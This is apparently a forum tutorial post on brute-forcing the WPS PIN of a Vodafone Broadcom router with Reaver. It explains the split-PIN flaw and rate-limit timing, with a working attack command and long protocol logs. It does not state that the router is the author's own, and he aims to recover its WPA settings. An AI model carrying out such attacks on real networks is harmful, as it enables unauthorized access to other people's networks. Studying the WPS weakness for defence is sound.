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Brute-forcing against Wi-Fi Protected Setup (WPS)

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rand0m ·
Los enlaces son solo para miembros. Registrate o iniciá sesión
<br />WPS (Wi-Fi Protected Setup) is a security method for WiFi networks that has 3 variants:<br />
    <br />   
    • PBC (Push-Button-Connect): The user has to press a button (physical or virtual) on the AP and on the client device. It will be active until authentication succeeds or the timeout of 2 minutes expires.
    <br />   
    • Internal Registrar: The user must enter the PIN in a web interface of the AP. It may be written on the adapter's label or generated by software.
    <br />   
    • External Registrar: The user must type the AP's PIN on the device that wants to connect.
    <br />
The PBC requires physical contact with the AP, so it's no use to me.<br /><br />The Internal Registrar requires accessing the AP's web panel, so it's no use to me either.<br /><br />What I'll do is try all possible PIN codes from my machine using the External Registrar method.<br /><br />To understand how the process works we read the paper by Los enlaces son solo para miembros. Registrate o iniciá sesión: Los enlaces son solo para miembros. Registrate o iniciá sesión (MANDATORY READING RECOMMENDED READING). Another very interesting read to understand the WPS mechanism is the explanation given in the Los enlaces son solo para miembros. Registrate o iniciá sesión.<br /><br />In the paper, which is only 9 pages with lots of tables (Los enlaces son solo para miembros. Registrate o iniciá sesión), you can see that the PIN is actually not an 8-digit PIN, but consists of 2 parts:
    <br />   
    • First part of the PIN (first 4 digits)
    <br />   
    • Second part of the PIN (next 3 digits + checksum (Checksum))
    <br />
This poor implementation means that instead of facing an 8-digit PIN we face one of 4 and one of 3. All this is very important because it completely dismantles the mathematics of the security system. Let's do the numbers:<br /><br />If we have a 10-digit system (0-9) the different possibilities rise exponentially with the number of digits. This puts us, in the case of having an 8-digit PIN, at:
10·(107) = 100000000 possibilities
It would take so much time to get the PIN that the attack could take several years. Unfeasible.<br />But if we have a 4-digit PIN and another 3-digit one the situation changes a lot:
10·(103) = 10000 possibilities
10·(102) = 1000 possibilities
<br />In total they add up to 11000 different PINs. We've discarded 99989000 PINs in one stroke. Glorious.<br />Based on this, Los enlaces son solo para miembros. Registrate o iniciá sesiónwrote Reaver. A tool that performs brute-force attacks against WPS following this method.<br />The tool, once in the hands of the community, grew and developed, now being at its Los enlaces son solo para miembros. Registrate o iniciá sesión to include useful functions for PixieDust attacks.<br /><br />However, despite being such a simple system, we often run into problems when trying to obtain the PIN of a remote AP.<br />Why?<br /><br />To illustrate this I'm playing with a WPS Broadcom 123456 from a Vodafone router. We launch Reaver and we find the following:<br /><br />
root@kali:~/wifis/ch11# reaver -i wlan1mon -b D8:61:FF:FF:FF:FF -vv --session=/dev/null
<br /><br />The --session=/dev/null parameter is so that reaver doesn't save the session. I'm not trying to get the password, but to study the cracking process.<br /><br />
Código: text
[+] Trying pin 12345670.<br />[+] Sending EAPOL START request<br />[+] Received identity request<br />[+] Sending identity response<br />[!] WARNING: Receive timeout occurred<br />[+] Sending WSC NACK<br />[!] WPS transaction failed (code: 0x02), re-trying last pin
<br />As the [!] WARNING: Receive timeout occurred indicates, a timeout occurred when receiving a response. This is because these attacks require good communication capability between the AP and our adapter.<br />
Código: text
root@kali:~/wifis/ch11# airodump-ng --channel 11 --wps wlan1mon<br /> <br /> CH 11 ][ Elapsed: 9 mins ][ 2015-08-04 00:00<br /><br /> BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID<br /><br /> D8:61:FF:FF:FF:FF  -71  89     4178      257    0  11  54e  WPA  CCMP   PSK  VodafoneFFFF
<br />With a signal of -71dBm we're in bad shape. For this type of attack it's advisable to have at least -65dBm, but here we are looking for problems to face.<br /><br />The 0x02 errors keep repeating and, after the same message repeated 21 times, we start to see something happening.<br />
Código: text
[+] Trying pin 12345670.<br />[+] Sending EAPOL START request<br />[+] Received identity request<br />[+] Sending identity response<br />[P] E-Nonce: 18:96:63:aa:3c:e5:90:34:4f:39:3a:89:ef:78:e2:83<br />[P] PKE: b0:75:bb:83:fe:03:79:78:ff:a1:09:23:75:b1:86:f9:4f:e4:35:99:9d:c7:5d:97:b6:9d:e7:13:d7:ad:2b:51:5e:08:76:50:fc:95:43:37:86:de:e7:0f:ff:54:84:b3:e3:ee:62:11:87:31:1e:f5:75:48:e9:e5:ac:5c:c0:c0:b6:f3:dc:e2:e9:33:da:ad:73:67:7a:1e:d6:5d:3a:b1:95:d0:0e:27:f9:2c:48:9f:a0:57:4d:36:a4:40:ee:2c:37:35:17:b1:c3:f9:e9:99:92:a7:10:d6:14:79:c6:ca:a3:ee:47:69:ec:18:f1:ad:69:d2:ea:5c:5d:aa:0c:0c:46:c2:89:dc:16:a2:c7:8d:ec:64:34:60:f5:f8:5a:c2:2a:63:2f:b2:1c:8a:47:03:35:cb:95:c6:bd:db:c4:21:38:73:2f:3d:6c:93:1a:0e:ca:c1:7e:30:a5:44:5c:dd:6d:6e:1d:d7:76:e6:2e:ec:7a:1c:57:c2:d7:5c:e4:c4<br />[P] WPS Manufacturer: Broadcom<br />[P] WPS Model Name: Broadcom<br />[P] WPS Model Number: 123456<br />[P] Access Point Serial Number: 1234<br />[+] Received M1 message<br />[P] R-Nonce: e1:6e:4b:62:5f:40:ed:9e:ac:ca:eb:98:f9:0b:b9:a3<br />[P] PKR: 33:26:70:28:8c:86:6b:dc:4b:7f:ef:f2:27:2d:c4:77:17:3a:60:57:61:e1:a5:9c:5c:14:17:77:1a:98:1d:8a:49:d7:17:fc:c0:a3:78:13:14:0d:ce:55:a1:8c:cf:58:c1:56:83:d5:f6:26:d8:0f:91:14:bc:74:a7:26:18:d3:1e:df:ae:f4:40:1d:7a:c2:21:3b:c8:e1:72:c7:d4:d2:a7:ec:95:ab:6c:e1:96:19:be:2e:95:8d:0c:a3:1a:12:8d:db:40:63:e9:2f:9e:80:1f:de:f1:72:d0:83:d1:10:9a:90:d1:0a:28:d6:3c:e8:32:5d:63:df:0f:68:59:92:50:f7:20:d3:59:94:85:24:50:58:ac:48:2e:ba:8f:73:25:6e:65:81:1b:7e:8a:e7:7f:8e:6a:bb:b7:96:f2:37:63:2f:58:c4:79:52:ab:21:11:f5:6a:e8:a1:08:78:15:b4:69:d6:da:87:57:11:aa:89:7f:4b:18:cf:fa:94:ab<br />[P] AuthKey: e5:23:f4:22:a1:3c:e6:a6:1a:24:2c:52:3f:83:a7:67:93:aa:d1:10:8f:9f:4a:70:08:56:4d:8c:6e:24:69:ac<br />[+] Sending M2 message<br />[P] E-Hash1: 23:83:fe:2d:c9:e3:09:6a:75:b1:4a:99:cb:5d:b6:2b:c5:fe:59:f2:38:18:a4:3c:ca:ab:80:8e:a8:29:60:32<br />[P] E-Hash2: e7:67:59:bd:3a:cc:81:88:6e:02:ab:26:c2:a4:8a:70:66:ea:e6:25:08:39:91:e4:21:c3:93:ba:4e:65:17:7b<br />[+] Received M3 message<br />[+] Sending M4 message<br />[+] Received WSC NACK<br />[+] Sending WSC NACK<br />[+] p1_index set to 1<br />[+] Pin count advanced: 1. Max pin attempts: 11000
<br />There we can see that after Sending identity response we receive a response that is broken down with the [P] prefix to highlight that it's useful information for a PixieDust attack (we won't use it).<br />We also see the notice that we've received the M3 message, to which we respond by sending M4.<br />Since the AP returned a NACK we know the first half of the PIN was incorrect, so it increments the p1 index and repeats the cycle over and over again. Everything runs smoothly, until suddenly everything stops and it seems something is wrong. On the screen it says WARNING in capitals and that's usually not good.<br />
Código: text
[+] Trying pin 77775672.<br />[+] Sending EAPOL START request<br />[+] Received identity request<br />[+] Sending identity response<br />[P] E-Nonce: e4:21:e0:66:39:e2:a0:cf:0a:1f:79:1d:71:1a:7e:9a<br />[P] PKE: 14:b2:f7:47:be:97:7e:f3:5a:9a:50:28:42:f0:54:49:b1:e5:4f:ad:57:36:8b:f6:ab:52:ad:82:57:65:75:eb:ec:58:ac:1a:0c:17:e5:d6:e0:4a:1a:53:55:9e:f4:d1:db:64:31:09:56:05:8b:fb:c6:0a:26:2f:3d:b0:14:09:8e:22:09:2d:dc:2d:4e:d4:8d:7c:59:d0:1d:63:43:41:cc:49:8d:a2:45:31:c4:d9:f8:53:93:a5:30:a0:45:f8:41:db:01:54:d7:29:1e:09:e1:d9:b2:b4:bb:8a:32:8c:da:1e:ac:7a:de:bd:68:c4:55:b5:8f:b2:5c:c4:3c:5e:fe:a4:20:ef:ad:5b:93:7d:96:91:15:44:f9:48:8b:a0:df:fc:ed:16:8b:88:83:d4:4f:80:66:4f:6f:d1:72:a9:ab:f0:54:93:4e:e6:96:c7:52:64:2f:f7:f7:89:9a:70:63:50:1e:c0:f4:70:4d:ad:53:bb:c3:07:a5:6f:1c:bd<br />[P] WPS Manufacturer: Broadcom<br />[P] WPS Model Name: Broadcom<br />[P] WPS Model Number: 123456<br />[P] Access Point Serial Number: 1234<br />[+] Received M1 message<br />[P] R-Nonce: 42:2b:92:95:a9:f4:47:1e:ca:64:62:09:07:3d:4a:36<br />[P] PKR: a2:cf:a5:5f:44:c6:18:0f:e6:18:ae:7c:66:ac:07:6c:47:3e:20:5d:67:77:ab:8d:8e:01:19:ad:8b:76:43:93:b2:ce:94:e4:84:00:b7:59:04:a6:52:4e:72:16:21:97:1e:a8:c3:aa:32:71:e1:70:b9:b0:02:0d:82:15:54:38:2b:aa:8c:e6:09:eb:8a:0e:e3:cb:08:ec:e8:ee:b2:43:ea:3b:01:2b:a4:c6:a7:01:e4:c2:da:4a:98:07:05:37:9a:0c:6f:5d:8f:1b:8f:91:2d:ae:6d:03:24:15:8e:a9:75:23:73:6a:6a:fe:a7:e8:62:f0:a6:e5:83:0e:36:ee:10:a6:8c:81:f4:1e:04:58:5e:79:d2:ea:41:7c:6c:58:92:29:4c:73:0c:24:e5:33:1d:9c:c5:c2:59:f8:e2:de:9b:0e:40:5c:55:83:e0:9f:39:c6:30:5c:27:c1:05:54:f4:d3:c3:68:68:37:95:bb:48:b8:78:1d:6f:3d:fa:f1<br />[P] AuthKey: b6:ac:f2:2b:3f:d7:5f:bb:be:81:2d:47:fc:f9:de:d7:f6:ad:86:09:b9:75:fb:c0:d8:54:3a:b5:26:a4:8d:40<br />[+] Sending M2 message<br />[P] E-Hash1: 7b:c0:d2:6e:7a:08:3d:22:41:8b:19:14:be:87:50:9a:50:41:03:1a:de:a6:6d:46:4c:81:b5:1a:63:38:f4:f0<br />[P] E-Hash2: 20:58:7c:d0:2c:2f:52:f7:67:19:4a:37:43:48:b3:7d:85:ac:30:d4:c9:21:f8:d7:13:31:17:59:57:65:22:01<br />[+] Received M3 message<br />[+] Sending M4 message<br />[+] Received WSC NACK<br />[+] Sending WSC NACK<br />[+] p1_index set to 10<br />[+] Pin count advanced: 10. Max pin attempts: 11000<br />[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking<br />[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking<br />[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking<br />[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking<br />[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking<br />[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking<br />[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking<br />[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking<br />[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking<br />[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
<br />OH, NO! WHAT'S HAPPENING?!<br />After seeing how the message [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking repeats a total of 10 times, everything flows normally again.<br />
Código: text
[+] Trying pin 88885674.<br />[+] Sending EAPOL START request<br />[+] Received identity request<br />[+] Sending identity response<br />[P] E-Nonce: cd:10:b9:11:11:67:dd:de:20:84:72:e7:48:c8:4d:45<br />[P] PKE: 68:25:d0:78:e4:9f:92:31:df:91:8c:df:3e:f7:f7:e8:c8:57:a9:c0:85:2b:eb:17:1b:cd:90:44:e2:81:a0:b4:83:ff:6b:b1:c7:51:83:3f:59:c4:7c:89:d9:9b:00:01:7e:ee:8f:c7:71:61:3e:66:92:96:1a:4f:7b:99:a4:a5:88:6d:df:75:b9:b3:e1:73:2f:e7:64:af:a9:d7:77:24:60:f1:c8:94:62:14:5f:a1:3e:b0:7f:9d:3e:df:82:45:86:50:7a:b1:04:5d:dc:67:84:c7:07:d3:74:99:41:25:5e:ad:28:da:64:6f:81:58:6f:13:8b:5a:c2:db:80:00:cd:e2:fb:65:ee:f5:b2:17:6e:b7:0e:96:9e:ff:93:2c:29:92:68:03:c7:d1:aa:83:f3:04:95:00:48:fc:0f:d2:f1:26:b3:65:71:19:07:f1:c8:52:16:78:10:0f:ec:b0:9d:e8:de:d4:f6:b3:39:18:32:f0:96:35:53:f8:81:1b<br />[P] WPS Manufacturer: Broadcom<br />[P] WPS Model Name: Broadcom<br />[P] WPS Model Number: 123456<br />[P] Access Point Serial Number: 1234<br />[+] Received M1 message<br />[P] R-Nonce: 02:96:96:ab:b0:82:0e:77:b6:cb:ff:79:c5:68:22:83<br />[P] PKR: 89:c2:b2:07:6b:b2:a7:07:9e:fb:f3:2d:ba:9f:6f:17:09:69:e3:01:ea:4a:3c:a7:6d:11:1a:eb:5a:7f:b7:7d:b8:fc:05:c1:04:e8:0f:06:b0:15:85:05:d1:ce:22:4f:5a:88:78:9e:26:58:c9:50:98:e6:d2:1b:b0:46:9b:f4:57:cf:9f:62:66:8f:aa:be:58:58:d8:eb:28:05:b1:4a:ff:1f:c2:39:aa:6b:d4:a2:a6:c8:56:00:70:42:ee:c0:94:fc:b1:5f:2a:62:72:86:64:d3:30:30:c0:83:8e:e1:1f:e0:e1:ab:6c:e3:13:e0:68:6c:0d:c1:2e:8d:81:e5:c0:25:17:cf:08:7c:41:3a:ca:1e:61:22:82:79:2f:db:0d:ec:2b:94:1c:ba:99:eb:af:ad:e4:5d:53:17:46:8d:a7:43:81:1b:5d:d6:5d:7c:48:e9:d2:53:15:47:90:17:4a:5c:45:76:8f:2d:08:3e:8b:ef:24:ac:06:77:f8:8e<br />[P] AuthKey: 16:2c:1a:6f:5a:ff:c4:c3:7c:e3:92:69:2a:3e:51:a7:6e:4c:9e:bd:a0:c6:9e:79:00:e6:26:2b:43:0a:92:70<br />[+] Sending M2 message<br />[P] E-Hash1: 55:ae:77:7f:5d:aa:29:79:3d:67:54:e9:47:ff:d2:79:47:2d:2a:1a:0a:55:9a:e2:e6:6c:54:d1:62:50:d6:44<br />[P] E-Hash2: 39:6a:70:15:79:65:6c:95:0b:04:07:4a:f2:3c:79:fc:11:df:87:fe:58:08:75:41:53:be:1a:60:73:bd:51:4b<br />[+] Received M3 message<br />[+] Sending M4 message<br />[+] Received WSC NACK<br />[+] Sending WSC NACK<br />[+] p1_index set to 11<br />[+] Pin count advanced: 11. Max pin attempts: 11000
<br />The counter increments to 11 and everything continues normally, until the panic returns.<br />
Código: text
[+] Pin count advanced: 19. Max pin attempts: 11000<br />[+] Trying pin 00085670.<br />[+] Sending EAPOL START request<br />[+] Received identity request<br />[+] Sending identity response<br />[P] E-Nonce: 6d:70:61:22:83:c2:57:dd:25:ff:c0:41:24:55:6f:8d<br />[P] PKE: 31:b6:85:04:5b:5e:ff:69:fc:42:59:30:cb:2c:5a:fd:71:04:90:84:69:a7:21:ce:ca:5e:fe:fb:48:b5:f1:76:13:b3:af:b2:66:0a:09:2d:08:20:a2:41:a2:d4:1f:e4:eb:d3:b4:a0:ce:23:36:0b:15:b3:63:80:c0:50:e0:41:23:38:3b:0e:2f:4d:96:44:2c:4a:37:6f:5a:fe:46:76:a5:d3:6b:c1:06:34:d0:20:9e:bd:ae:64:a3:bd:85:2d:f6:2d:d8:22:5f:fc:fb:0d:6d:d5:bf:c5:02:9f:13:1a:0c:82:be:0f:64:a3:fb:f7:ca:4d:71:42:93:48:6a:d0:c0:92:24:25:b7:23:50:c3:e3:fb:3e:74:3f:b9:3e:74:80:19:9b:b6:a2:34:44:16:85:e1:ca:75:78:96:5d:65:e7:b9:4c:39:3a:fe:12:df:a0:be:bb:67:b0:d1:11:a9:1c:3f:90:7a:33:c8:1b:b8:2a:4a:c5:ea:8b:fd:fe:19<br />[P] WPS Manufacturer: Broadcom<br />[P] WPS Model Name: Broadcom<br />[P] WPS Model Number: 123456<br />[P] Access Point Serial Number: 1234<br />[+] Received M1 message<br />[P] R-Nonce: 14:ad:38:42:02:f3:16:44:d0:98:b4:de:df:4e:ca:09<br />[P] PKR: 78:54:e6:55:4c:23:bb:06:ee:ef:15:be:3c:da:1e:55:2e:2c:b2:54:94:66:c9:f6:77:9a:0b:a6:25:a6:31:ca:d9:f7:70:14:ea:3a:f8:37:4a:59:80:a7:39:2e:43:2a:14:21:a8:ab:a8:31:43:29:e0:e2:aa:82:65:a7:97:41:e8:70:35:c9:e2:b8:cd:24:31:9b:67:17:3c:ad:e7:4a:aa:7b:13:97:5f:59:22:e0:5d:6a:ee:1f:64:30:c9:a3:de:da:f2:a4:5d:c5:27:82:4a:5e:90:65:36:ec:2d:c7:27:ee:04:6f:12:95:73:eb:47:8c:56:cd:7b:70:a3:6b:89:b7:d4:aa:15:05:39:d6:a6:83:00:03:62:14:2b:3f:dc:dd:5b:f9:f2:a9:a7:17:7d:97:12:9a:27:ba:0a:58:9d:a8:80:65:65:ac:e6:03:a3:60:c6:f5:8c:25:08:b3:63:64:43:8f:51:16:ca:78:4f:4f:ed:9f:99:e5:f7:ee<br />[P] AuthKey: b4:a4:ee:d0:cc:cd:c2:68:6d:7a:1f:52:17:69:7e:54:88:e9:b5:7e:49:84:d3:6e:ab:73:8a:d0:8d:b0:e9:fc<br />[+] Sending M2 message<br />[P] E-Hash1: cb:cb:1f:89:36:87:51:99:75:42:f3:87:6b:55:ce:3b:ca:16:25:cc:ab:41:ba:f5:19:cd:ba:95:d1:d3:23:5a<br />[P] E-Hash2: 0e:9d:5b:6f:98:51:ec:e3:58:17:90:99:03:cf:70:09:31:ea:ff:e2:c0:3c:b7:40:2d:15:99:8a:a6:6a:b0:4c<br />[+] Received M3 message<br />[+] Sending M4 message<br />[+] Received WSC NACK<br />[+] Sending WSC NACK<br />[+] p1_index set to 20<br />[+] Pin count advanced: 20. Max pin attempts: 11000<br />[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking<br />[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking<br />[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking<br />[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking<br />[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking<br />[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking<br />[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking<br />[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking<br />[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking<br />[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
<br />Well, having seen these results, with half a neuron we can realize that the AP blocks us for every 10 PINs we try.<br />
CitarDoes that mean the attack won't work?
<br />No. It means that for every 10 PINs we try, the AP blocks us for 10 minutes, giving us a ratio of 1 PIN per minute. Therefore the attack could take, at most (though without counting the times a PIN isn't tried correctly), 11000 minutes.<br /><br />11000 minutes /(60*24) = 7.6388888888888888888888888888889 days<br /><br />7.6388888888888888888888888888889 = 7 days<br />0.6388888888888888888888888888889 days *24 = 15.333333333333333333333333333334 hours<br />0.333333333333333333333333333334 hours *60 =  20 minutes<br />
Total attack time: 7 days, 15 hours and 20 minutes
After 4 hours (259 minutes exactly) of attack we can take a look at how the attack is running:<br />
Código: text
[+] Pin count advanced: 242. Max pin attempts: 11000<br />[+] 2.20% complete. Elapsed time: 0d4h19m20s.<br />[+] Estimated Remaining time: 1d5h53m0s
<br />The PIN attempts went in steps of 10, so we understand that in 250 minutes it should have tried 250 different PINs. 8 minutes were lost on 0x02 errors due to being too far from the AP.<br />I want to point out that you don't need a powerful machine to carry out these types of attacks. I'm doing all this from a very old laptop with serious problems with thermodynamics. Pentium M at 1.70GHz with 1GB of RAM.<br /><br />At 16 hours we still haven't had results. If we do the numbers now, 16 hours is 960 minutes, plus the 20 of the 16th hour makes 980 minutes, which should be 980 passwords tried (10 every 10 minutes). The attack is 64 passwords short. We've wasted an hour of very valuable time.<br />
Código: text
[+] Pin count advanced: 916. Max pin attempts: 11000<br />[+] 8.33% complete. Elapsed time: 0d16h20m53s.<br />[+] Estimated Remaining time: 0d14h0m20s
<br />Under certain circumstances the signal strength drops, leading us to 0x02 errors and to channel hops looking for the network we were working with. Can you imagine if they reconfigured the router's channel while we attack? That's how we catch it again. Although this hopping is disableable.<br />
Código: text
[+] Trying pin 15225672.<br />[+] Switching wlan1mon to channel 13<br />[+] Switching wlan1mon to channel 14<br />[+] Switching wlan1mon to channel 1<br />[+] Switching wlan1mon to channel 2<br />[+] Switching wlan1mon to channel 3<br />[+] Switching wlan1mon to channel 4<br />[+] Switching wlan1mon to channel 5<br />[+] Switching wlan1mon to channel 6<br />[+] Switching wlan1mon to channel 7<br />[+] Switching wlan1mon to channel 8<br />[+] Switching wlan1mon to channel 9<br />[+] Switching wlan1mon to channel 10<br />[+] Switching wlan1mon to channel 11<br />[+] Sending EAPOL START request<br />[+] Received identity request<br />[+] Sending identity response<br />[P] E-Nonce: 39:55:8a:ca:1b:44:9a:77:0f:30:b9:e2:c5:fe:dd:22<br />[P] PKE: 7c:0d:36:ea:d1:d1:fb:e4:26:55:de:24:76:9e:28:02:19:95:1e:db:22:e9:3e:0d:c4:92:00:94:f3:f3:18:66:c7:4f:5a:9f:a2:fa:f4:42:9d:75:e7:ac:16:53:5a:7b:7e:b6:ce:4b:e0:b0:7f:1e:88:99:ba:71:3e:6a:fa:e2:87:3a:03:9e:a4:c7:04:4f:cb:5b:5c:12:d5:4d:30:d9:08:80:e4:f0:36:7a:79:f4:8a:91:dd:ff:82:31:16:ea:5d:46:f7:39:63:f4:bf:f4:af:50:fb:5c:43:07:82:24:f5:6d:03:38:0f:a9:a0:7a:4f:49:36:00:0b:01:bd:97:d9:26:75:25:89:b7:1d:7c:a7:fd:c9:3b:ee:12:0d:04:04:bb:fc:53:ec:85:6e:67:ab:00:4a:4c:71:a0:c4:30:2d:7d:9c:94:5d:cd:87:43:43:ab:d8:40:0e:d7:19:21:c2:8e:81:e8:55:83:bb:f4:63:73:5e:2e:74:83:12:75<br />[P] WPS Manufacturer: Broadcom<br />[P] WPS Model Name: Broadcom<br />[P] WPS Model Number: 123456<br />[P] Access Point Serial Number: 1234<br />[+] Received M1 message<br />[P] R-Nonce: 5c:c8:8d:28:ab:49:aa:db:1a:2a:b8:4c:84:45:b7:60<br />[P] PKR: 00:9f:c5:1b:03:2f:91:dc:41:1d:a5:29:ad:40:0b:9a:8c:14:23:a4:b9:c1:a4:a9:07:bf:c7:76:cf:6d:f6:01:0b:d0:57:76:73:08:b1:58:e7:83:fb:15:6c:32:17:82:25:4d:af:0a:a1:7d:84:46:51:f3:cc:6e:e3:62:16:a7:17:96:bd:86:68:9c:82:01:b4:07:03:98:e3:ce:40:28:2c:1f:77:d0:63:56:54:2a:1c:0c:40:40:be:be:a5:1d:15:23:34:c5:79:fa:54:23:9f:30:e8:99:c1:a2:c6:58:ce:66:86:24:bd:c9:33:ac:7f:7a:6a:54:1b:76:e5:62:35:52:f7:3d:21:ac:aa:e0:ff:3b:c4:73:3e:63:14:ad:c1:d5:bd:f2:26:5f:eb:9e:a0:11:11:bc:14:3c:09:eb:fd:96:50:9b:3b:a9:78:9c:f4:90:25:f2:75:7a:10:b4:ee:8c:16:bc:21:3c:28:82:cf:71:f4:72:ce:fc:77:5d<br />[P] AuthKey: d2:f3:66:5f:e0:5e:aa:be:21:8a:99:d1:aa:f1:af:3a:83:43:07:20:36:83:ae:93:1b:d1:31:3e:82:72:b6:0e<br />[+] Sending M2 message<br />[P] E-Hash1: 75:1b:89:c8:7b:1d:4c:51:8c:c9:67:ce:1a:c3:e8:0b:3c:42:53:e2:54:a3:f9:3f:2e:d7:10:03:59:9c:bf:0c<br />[P] E-Hash2: 76:19:2a:97:a0:25:df:25:38:04:02:a7:1f:64:1e:b7:cb:a8:59:20:82:17:94:b6:0a:7e:7a:ad:d1:c4:0f:98<br />[+] Received M3 message<br />[+] Sending M4 message<br />[+] Received WSC NACK<br />[+] Sending WSC NACK<br />[+] p1_index set to 1531<br />[+] Pin count advanced: 1531. Max pin attempts: 11000
<br />We've WASTED 2 days and things are at 25%.<br />
Código: text
[+] Pin count advanced: 2750. Max pin attempts: 11000<br />[+] 25.00% complete. Elapsed time: 2d2h11m56s.<br />[+] Estimated Remaining time: 0d9h10m0s
<br />In my case the message indicates the following values:<br /><br />
Código: text
    ** It has tried 2750 different PINs out of a total of 11000  ---> [+] Pin count advanced: 2750. Max pin attempts: 11000<br />    ** It took 2d2h11m56s to reach 25%   ------------------------> [+] 25.00% complete. Elapsed time: 2d2h11m56s.
<br /><br />And with those values we can do the math:<br /><br />
Código: text
    1 PIN per minute * 3011 minutes wasted                 = 3011 PINs should have been tried<br />    (3011 PINs at 100% - 2750 PINs tried)/1 PIN per minute     = 261 minutes lost. 4.35 hours<br />    2750 PINs tried/(11000 TOTAL PINs/100)                   = Attack at 25% (as the message itself indicates)<br />    (11000 TOTAL PINs - 2750 PINs tried)/1 PIN per minute    = ETA: 8250 minutes = 137.5 hours = 5.72 days
<br /><br />We obtain the following values:<br /><br />    ** 100% performance  = 3011 PINs<br />    ** Minutes lost     = 261 minutes = 4.35 hours = 0.18125 days<br />    ** Current percentage    = 25% (2750 PINs)<br />    ** Estimated end time  = 8250 minutes = 137.5 hours = 5.72 days
5 days, 17 hours, 16 minutes remaining
CitarAre we going to have to wait a whole week for the attack to finish?
<br />NO, although it could be.<br />Sometimes we might take 5 days, other times 2, maybe a matter of hours. What we're calculating is the time in which all 11000 possible PINs would have been tried one by one, but let's hope we don't have to use them all.<br /><br />When reviewing the terminal where reaver is running I find this surprise:<br />
Código: text
[+] p2_index set to 89<br />[+] Pin count advanced: 10089. Max pin attempts: 11000<br />[+] 91.72% complete. Elapsed time: 2d9h33m36s.<br />[+] Estimated Remaining time: 0d1h0m44s<br />[+] Trying pin 31340809.<br />[+] Sending EAPOL START request<br />[+] Received identity request<br />[+] Sending identity response<br />[P] E-Nonce: 40:80:f2:4a:8f:40:76:03:33:46:8e:0a:c1:6c:b0:66<br />[P] PKE: aa:f9:7a:af:85:6c:f8:35:76:e5:56:a3:78:a9:24:95:42:b2:ca:e7:b3:7e:4d:fa:8d:de:04:57:7c:06:1b:cf:86:c2:10:01:0f:b3:ef:4f:89:da:70:67:5b:07:36:97:d4:48:96:94:43:9e:27:37:7f:aa:b3:57:b2:29:e2:eb:ae:35:44:d9:9f:b0:37:20:2c:1b:42:fe:b0:14:87:b8:6b:87:c7:98:ba:37:c4:39:51:67:2a:ba:5a:77:65:36:38:65:c1:33:b9:6b:0f:93:5f:48:33:b9:bc:e9:af:bc:48:03:8f:dc:b5:0d:72:e2:b5:e4:d4:4a:08:75:fe:fa:a1:e0:9e:97:1c:30:31:5f:ca:6f:0f:25:7e:f5:23:e9:4a:82:ab:b4:13:05:01:1c:81:1c:3e:b9:92:7f:9e:ec:7b:f7:3b:fa:aa:9f:84:ec:db:89:0a:41:04:da:9d:bb:6c:f2:2f:83:89:4b:56:b8:8b:fd:e1:95:bb:47:a2:49<br />[P] WPS Manufacturer: Broadcom<br />[P] WPS Model Name: Broadcom<br />[P] WPS Model Number: 123456<br />[P] Access Point Serial Number: 1234<br />[+] Received M1 message<br />[P] R-Nonce: 48:4e:59:89:64:10:f8:4b:cb:c4:83:b0:2a:66:73:fc<br />[P] PKR: 5f:70:36:8d:33:90:29:fd:00:bb:df:e9:75:8a:77:8a:62:77:c0:c9:77:cd:f8:6a:96:9f:72:69:d1:12:5b:ef:29:91:35:bb:ac:64:c2:76:e3:29:9c:5e:e2:ad:77:86:0a:24:09:17:48:05:88:01:51:09:04:0c:97:34:a7:55:ab:12:25:24:0e:30:dd:4c:61:31:e3:bb:a7:3b:34:dc:1e:31:90:d4:24:a0:86:35:6b:07:33:9e:b3:69:e0:a4:64:a7:be:ca:63:3b:fe:79:1c:46:21:72:7c:57:64:05:c2:d7:b8:01:49:db:0c:28:82:48:e7:f7:1f:6b:bf:91:c5:46:00:5a:1c:c6:63:bc:1c:94:2e:c6:ff:23:7b:5f:75:8b:c0:77:b9:ce:18:d4:3a:a5:b2:65:bb:82:2b:fc:2e:a3:af:95:d9:70:bf:b3:a7:b0:0d:30:5c:fb:55:50:f1:0d:e7:01:68:f9:ed:ea:7f:2d:6e:f4:d7:05:19:d8<br />[P] AuthKey: 73:df:f7:46:a2:17:d0:25:2c:8c:d4:06:78:91:67:56:14:74:af:84:6a:d6:b7:11:aa:0c:69:08:1a:bb:23:5d<br />[+] Sending M2 message<br />[P] E-Hash1: 9e:e8:b0:ce:d9:9a:c0:0e:24:2a:8c:87:ce:2b:bc:e8:7c:1a:8a:ff:e5:83:bd:fa:51:5a:13:c9:b1:0c:0d:e9<br />[P] E-Hash2: f4:12:fa:7b:3a:6c:dc:c6:79:17:78:a3:fd:e1:ce:6e:be:57:72:78:ae:6d:0c:eb:43:aa:37:b6:4a:84:c9:8e<br />[+] Received M3 message<br />[+] Sending M4 message<br />[+] Received M5 message<br />[+] Sending M6 message<br />[+] Received WSC NACK<br />[+] Sending WSC NACK<br />[+] p2_index set to 90
<br />Now we can see how after sending M4 we receive M5, after which we send the second fragment of the PIN plus the checksum (Checksum). The AP responds with WSC NACK and reaver increments the p2_index index by 1 (since p1_index holds the first half of the PIN).<br />Also, now they are tried one after another, so we understand that the AP blocks the WPS functionality upon receiving 10 incorrect M4s, so, having discarded 10000 possibilities, we only have 1000 left that will be tried without attempt limits. In a couple of hours I'll get the PIN and, with M7, the AP's WPA configuration.<br />
Código: text
